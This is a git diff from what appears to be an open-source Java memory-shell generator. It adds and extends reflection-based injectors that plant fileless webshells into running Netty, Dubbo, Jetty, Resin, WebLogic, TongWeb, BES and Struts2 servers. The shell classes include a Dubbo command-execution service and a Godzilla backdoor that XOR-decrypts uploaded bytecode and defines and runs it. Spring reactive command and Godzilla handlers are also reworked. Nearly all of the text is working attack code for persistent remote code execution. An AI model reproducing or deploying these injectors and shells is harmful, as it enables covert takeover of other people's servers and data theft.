|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject() throws Exception {
|
public boolean inject() throws Exception {
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||||
Object target;
|
Object target;
|
||||||
try {
|
try {
|
||||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
|
||||||
|
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
|
||||||
|
if (evField == null) {
|
||||||
|
evField = getField(innerRunnable.getClass(), "this$0");
|
||||||
|
}
|
||||||
|
if (evField == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
target = evField.get(innerRunnable);
|
||||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||||
if (!set.isEmpty()) {
|
for (Object key : set.toArray()) {
|
||||||
Object keys = set.toArray()[0];
|
try {
|
||||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
|
||||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
Object tail = getFieldValue(pipeline, "tail");
|
||||||
handlerClass = getShellClass(embedHttpServerHandler);
|
Object prevContext = getFieldValue(tail, "prev");
|
||||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
Object acceptor = getFieldValue(prevContext, "handler");
|
||||||
return;
|
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
|
||||||
|
if (childHandlerField == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
childHandlerField.setAccessible(true);
|
||||||
|
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
|
||||||
|
handlerClass = getShellClass(acceptor);
|
||||||
|
childHandlerField.set(acceptor, this);
|
||||||
|
return true;
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -19,8 +19,11 @@ public class Bes extends AbstractServer {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, BesListenerInjector.class)
|
.addInjector(LISTENER, BesListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, BesListenerInjector.class)
|
||||||
.addInjector(FILTER, BesFilterInjector.class)
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, BesFilterInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
|
||||||
|
|
||||||
|
public class Dubbo extends AbstractServer {
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
|
||||||
|
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5 extends AbstractServer {
|
||||||
|
|
||||||
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
|
||||||
|
} catch (Exception ignored2) {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(LISTENER, Jetty5ListenerInjector.class)
|
||||||
|
.addInjector(FILTER, Jetty5FilterInjector.class)
|
||||||
|
.addInjector(SERVLET, Jetty5ServletInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.FILTER;
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2 extends AbstractServer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(FILTER, Resin2FilterInjector.class)
|
||||||
|
.addInjector(SERVLET, Resin2ServletInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
+3
-3
@@ -1,18 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
|
import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2 extends AbstractServer {
|
public class Struts2 extends AbstractServer {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(ShellType.ACTION, Struct2ActionInjector.class)
|
.addInjector(ShellType.ACTION, Struts2ActionInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class)
|
||||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||||
|
.addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class)
|
||||||
|
.addInjector(WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||||
|
.addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,5 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool;
|
||||||
|
|
||||||
|
public interface ShellDubboService {
|
||||||
|
byte[] handle(byte[] bytes);
|
||||||
|
}
|
||||||
+1
-1
@@ -10,7 +10,7 @@ import java.net.URLClassLoader;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/02/18
|
* @since 2025/02/18
|
||||||
*/
|
*/
|
||||||
public class AntSwordStruct2Action {
|
public class AntSwordStruts2Action {
|
||||||
|
|
||||||
public static String pass;
|
public static String pass;
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
+1
-1
@@ -15,7 +15,7 @@ import java.util.Map;
|
|||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BehinderStruct2Action {
|
public class BehinderStruts2Action {
|
||||||
public static String pass;
|
public static String pass;
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
+75
@@ -0,0 +1,75 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
public class CommandDubboService {
|
||||||
|
|
||||||
|
public byte[] handle(byte[] bytes) {
|
||||||
|
if (bytes == null || bytes.length == 0) {
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
String p = new String(bytes);
|
||||||
|
String param = getParam(p);
|
||||||
|
try {
|
||||||
|
InputStream inputStream = getInputStream(param);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
return getErrorMessage(e).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String param) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Object unwrap(Object obj, String fieldName) {
|
||||||
|
try {
|
||||||
|
return getFieldValue(obj, fieldName);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+8
-3
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
|
|||||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
|||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
p = request.headers().firstHeader(paramName);
|
p = request.headers().firstHeader(paramName);
|
||||||
}
|
}
|
||||||
|
final String paramValue = p;
|
||||||
|
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||||
String result = "";
|
String result = "";
|
||||||
try {
|
try {
|
||||||
if (p != null) {
|
if (paramValue != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(paramValue);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
return ServerResponse.ok().body(Mono.just(result), String.class);
|
return result;
|
||||||
|
}).subscribeOn(Schedulers.boundedElastic());
|
||||||
|
return ServerResponse.ok().body(resultMono, String.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getParam(String param) {
|
private String getParam(String param) {
|
||||||
|
|||||||
+9
-3
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
|
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.server.ServerWebExchange;
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.Scanner;
|
import java.util.Scanner;
|
||||||
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
|
|||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
||||||
}
|
}
|
||||||
|
final String paramValue = p;
|
||||||
|
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||||
String result = "";
|
String result = "";
|
||||||
try {
|
try {
|
||||||
if (p != null) {
|
if (paramValue != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(paramValue);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
return ResponseEntity.ok(result);
|
return result;
|
||||||
|
}).subscribeOn(Schedulers.boundedElastic());
|
||||||
|
return ResponseEntity.ok(resultMono);
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getParam(String param) {
|
private String getParam(String param) {
|
||||||
|
|||||||
+1
-1
@@ -10,7 +10,7 @@ import java.util.Scanner;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class CommandStruct2Action {
|
public class CommandStruts2Action {
|
||||||
private static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
public String execute() throws Exception {
|
public String execute() throws Exception {
|
||||||
+8
-2
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
|
|||||||
import org.springframework.web.server.WebFilter;
|
import org.springframework.web.server.WebFilter;
|
||||||
import org.springframework.web.server.WebFilterChain;
|
import org.springframework.web.server.WebFilterChain;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
@@ -26,7 +27,9 @@ public class CommandWebFilter implements WebFilter {
|
|||||||
if (p == null) {
|
if (p == null) {
|
||||||
return chain.filter(exchange);
|
return chain.filter(exchange);
|
||||||
}
|
}
|
||||||
String param = getParam(p);
|
final String paramValue = p;
|
||||||
|
return Mono.fromCallable(() -> {
|
||||||
|
String param = getParam(paramValue);
|
||||||
String result = "";
|
String result = "";
|
||||||
try {
|
try {
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
@@ -34,7 +37,10 @@ public class CommandWebFilter implements WebFilter {
|
|||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
|
return result;
|
||||||
|
}).subscribeOn(Schedulers.boundedElastic())
|
||||||
|
.flatMap(result -> exchange.getResponse().writeWith(
|
||||||
|
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getParam(String param) {
|
private String getParam(String param) {
|
||||||
|
|||||||
+85
@@ -0,0 +1,85 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.io.UnsupportedEncodingException;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GodzillaDubboService extends ClassLoader {
|
||||||
|
private static String key;
|
||||||
|
private static String md5;
|
||||||
|
private static Class<?> payload;
|
||||||
|
|
||||||
|
public GodzillaDubboService() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaDubboService(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] handle(byte[] bytes) {
|
||||||
|
if (bytes == null || bytes.length == 0) {
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
byte[] data = decrypt(bytes, key);
|
||||||
|
if (payload == null) {
|
||||||
|
payload = new GodzillaDubboService(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||||
|
return "ok".getBytes("UTF-8");
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = payload.newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(data);
|
||||||
|
f.toString();
|
||||||
|
byte[] byteArray = arrOut.toByteArray();
|
||||||
|
return (md5.substring(0, 16) + encrypt(byteArray, key) + md5.substring(16)).getBytes("UTF-8");
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
try {
|
||||||
|
return getErrorMessage(e).getBytes("UTF-8");
|
||||||
|
} catch (UnsupportedEncodingException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String encrypt(byte[] data, String key) {
|
||||||
|
byte[] keyBytes = key.getBytes();
|
||||||
|
byte[] xored = new byte[data.length];
|
||||||
|
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
xored[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
|
||||||
|
}
|
||||||
|
return Base64.getEncoder().encodeToString(xored);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decrypt(byte[] ciphertext, String key) {
|
||||||
|
byte[] data = Base64.getDecoder().decode(ciphertext);
|
||||||
|
byte[] keyBytes = key.getBytes();
|
||||||
|
byte[] result = new byte[data.length];
|
||||||
|
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+10
-5
@@ -1,9 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
|
import org.springframework.util.MultiValueMap;
|
||||||
import org.springframework.web.reactive.function.server.HandlerFunction;
|
import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -35,7 +37,13 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
|||||||
if (value == null || !value.contains(headerValue)) {
|
if (value == null || !value.contains(headerValue)) {
|
||||||
return Mono.empty();
|
return Mono.empty();
|
||||||
}
|
}
|
||||||
Object bufferStream = request.formData().flatMap(map -> {
|
Mono<String> bufferStream = request.formData()
|
||||||
|
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
|
||||||
|
.subscribeOn(Schedulers.boundedElastic()));
|
||||||
|
return ServerResponse.ok().body(bufferStream, String.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String process(MultiValueMap<String, String> map, ServerRequest request) {
|
||||||
StringBuilder result = new StringBuilder();
|
StringBuilder result = new StringBuilder();
|
||||||
try {
|
try {
|
||||||
byte[] data = base64Decode(map.getFirst(pass));
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
@@ -57,12 +65,9 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
|||||||
ex.printStackTrace();
|
ex.printStackTrace();
|
||||||
result.append(getErrorMessage(ex));
|
result.append(getErrorMessage(ex));
|
||||||
}
|
}
|
||||||
return Mono.just(result.toString());
|
return result.toString();
|
||||||
});
|
|
||||||
return ServerResponse.ok().body(bufferStream, String.class);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
try {
|
try {
|
||||||
|
|||||||
+10
-4
@@ -1,8 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.util.MultiValueMap;
|
||||||
import org.springframework.web.server.ServerWebExchange;
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -33,7 +35,13 @@ public class GodzillaHandlerMethod extends ClassLoader {
|
|||||||
if (value == null || !value.contains(headerValue)) {
|
if (value == null || !value.contains(headerValue)) {
|
||||||
return ResponseEntity.notFound().build();
|
return ResponseEntity.notFound().build();
|
||||||
}
|
}
|
||||||
Object bufferStream = exchange.getFormData().flatMap(map -> {
|
Mono<String> bufferStream = exchange.getFormData()
|
||||||
|
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||||
|
.subscribeOn(Schedulers.boundedElastic()));
|
||||||
|
return ResponseEntity.ok(bufferStream);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||||
StringBuilder result = new StringBuilder();
|
StringBuilder result = new StringBuilder();
|
||||||
try {
|
try {
|
